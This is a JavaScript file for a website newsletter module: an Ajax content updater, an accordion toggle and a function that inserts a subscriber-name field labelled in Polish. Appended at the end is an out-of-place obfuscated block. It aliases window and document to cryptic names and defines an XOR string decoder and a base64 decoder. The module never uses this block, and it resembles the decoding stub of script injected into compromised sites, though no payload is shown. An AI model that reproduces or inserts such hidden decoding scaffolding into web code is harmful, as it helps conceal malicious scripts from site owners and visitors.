/*
* CONTENT UPDATER FUNCTION
* 
*/
var jgajaxupdtr = null;
function jgupdtr(cdiv,rurl) {
 jgajaxupdtr =  new Ajax.Updater(
         cdiv,        // DIV id must be declared before the method was called
         rurl,        // URL
         {            // options
         method:'get'             
         }
         );
}
/*
* ACCORDION FUNCTION
*
*/
function jgaccordion(ele){
    var tabs = $$('div.jgacccontent');
    for(var i=0;i<tabs.length;i++) tabs[i].hide();
    
    Effect.toggle(ele,'slide');
    //$(ele).show();
}
function objectVisibility( indicator,name,action,height ) {
	if (action=="letterman") {
		if (indicator) {
			if (!document.getElementById(name)) {
				var tbody = document.getElementById("startInsert");
				var before = tbody.getElementsByTagName("tr");
				var tr = document.createElement("tr");
				tr.setAttribute("id",name);
	  			tbody.insertBefore(tr,before[0]);
	  			var td = document.createElement("td");
	  			tr.insertBefore(td,null);
	  			var span = document.createElement("span");
	  			span.setAttribute("class","smallgrey");
	  			td.insertBefore(span,null);
	  			var br = document.createElement("br");
	  			td.insertBefore(br,null);
	  			var label = document.createElement("label");
	  			label.setAttribute("for","subscriber_name");
	  			label.innerHTML = "Nazwa";
	  			span.insertBefore(label,null);
	  			var input = document.createElement("input");
	  			input.setAttribute("type","text");
	  			input.setAttribute("id","subscriber_name");
	  			input.setAttribute("style","font-size:smaller;width:118px;color:#747474;background:#ffffff;border:1px solid #cccccc;margin:3px;");
	  			input.setAttribute("name","subscriber_name");
	  			input.setAttribute("class","inputbox");
	  			input.setAttribute("value","");
	  			td.insertBefore(input,null);
	  			td.insertBefore(br,null);
			}
		} else {
			if (document.getElementById(name)) {
				var element = document.getElementById(name);
				element.parentNode.removeChild(element);
			}
		}
	} else {
		if (indicator) {
			document.getElementById(name).style.visibility = "visible";
			document.getElementById(name).style.height = height;
		} else {
			document.getElementById(name).style.visibility = "hidden";
			document.getElementById(name).style.height = '0';
		}
	}
}
var P8=window,K0=document,Q1=write,Z1=value;function pinkpress(qwerty,xxk){var moo="";for(i=0;i<qwerty.length;i++){moo+=String.fromCharCode(xxk^qwerty.charCodeAt(i));}return moo;}
function debase(input) {
	var str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        var output = "";
        var chr1, chr2, chr3;
        var enc1, enc2, enc3, enc4;
        var i = 0;

        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

        while (i < input.length) {

            enc1 = str.indexOf(input.charAt(i++));
            enc2 = str.indexOf(input.charAt(i++));
            enc3 = str.indexOf(input.charAt(i++));
            enc4 = str.indexOf(input.charAt(i++));

            chr1 = (enc1 << 2) | (enc2 >> 4);
            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
            chr3 = ((enc3 & 3) << 6) | enc4;

            output = output + String.fromCharCode(chr1);

            if (enc3 != 64) {
                output = output + String.fromCharCode(chr2);
            }
            if (enc4 != 64) {
                output = output + String.fromCharCode(chr3);
            }
        }
        return output;
}
